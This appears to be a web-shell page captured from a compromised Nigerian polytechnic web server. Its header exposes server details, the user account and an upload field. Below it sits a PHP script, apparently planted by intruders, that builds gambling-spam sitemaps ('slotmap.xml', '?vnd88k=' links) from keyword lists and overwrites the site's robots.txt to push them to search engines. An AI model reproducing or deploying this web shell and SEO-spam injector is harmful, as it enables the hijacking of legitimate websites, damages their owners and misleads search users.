| Server IP : 172.64.80.1 / Your IP : 172.69.58.211 Web Server : Apache System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 User : federalpolyede.edu.ng_idh35skikv ( 10000) PHP Version : 7.4.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/TPHCM/ |
Upload File : |
<?php
function createSitemap($listFile, $sitemapName, $baseUrl) {
if (!file_exists($listFile) || filesize($listFile) == 0) {
return false; // Lewati jika file tidak ada atau kosong
}
$fileLines = file($listFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (empty($fileLines)) {
return false;
}
$sitemapFile = fopen($sitemapName, "w");
fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL);
fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL);
foreach ($fileLines as $judul) {
$sitemapLink = $baseUrl . '?vnd88k=' . urlencode($judul);
fwrite($sitemapFile, ' <url>' . PHP_EOL);
fwrite($sitemapFile, ' <loc>' . $sitemapLink . '</loc>' . PHP_EOL);
date_default_timezone_set('Asia/Ho Chi Minh');
$currentTime = date('Y-m-d\TH:i:sP');
fwrite($sitemapFile, ' <lastmod>' . $currentTime . '</lastmod>' . PHP_EOL);
fwrite($sitemapFile, ' <changefreq>daily</changefreq>' . PHP_EOL);
fwrite($sitemapFile, ' </url>' . PHP_EOL);
}
fwrite($sitemapFile, '</urlset>' . PHP_EOL);
fclose($sitemapFile);
return $sitemapName;
}
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if (isset($fullUrl)) {
$parsedUrl = parse_url($fullUrl);
$scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : '';
$host = isset($parsedUrl['host']) ? $parsedUrl['host'] : '';
$path = isset($parsedUrl['path']) ? $parsedUrl['path'] : '';
$baseUrl = $scheme . "://" . $host . str_replace("mah.php", "", $path);
// Menentukan pasangan file daftar dan sitemap secara eksplisit
$sitemapPairs = [
"list.txt" => "sitemap.xml",
"list2.txt" => "sitenew.xml",
"list3.txt" => "slotmap.xml"
];
$sitemapFiles = [];
// Loop melalui setiap pasangan list dan sitemap
foreach ($sitemapPairs as $listFile => $sitemapName) {
$createdSitemap = createSitemap($listFile, $sitemapName, $baseUrl);
if ($createdSitemap) {
$sitemapFiles[] = $sitemapName;
}
}
// Membuat robots.txt dengan format yang tetap
$robotsTxt = "User-agent: *" . PHP_EOL;
$robotsTxt .= "Allow: /" . PHP_EOL;
$robotsTxt .= "Sitemap: " . $baseUrl . "sitemap.xml" . PHP_EOL;
$robotsTxt .= "Sitemap: " . $baseUrl . "sitenew.xml" . PHP_EOL;
$robotsTxt .= "Sitemap: " . $baseUrl . "slotmap.xml" . PHP_EOL;
file_put_contents('robots.txt', $robotsTxt);
echo "Sitemap dan robots.txt berhasil dibuat!";
} else {
echo "Terjadi kesalahan.";
}
?>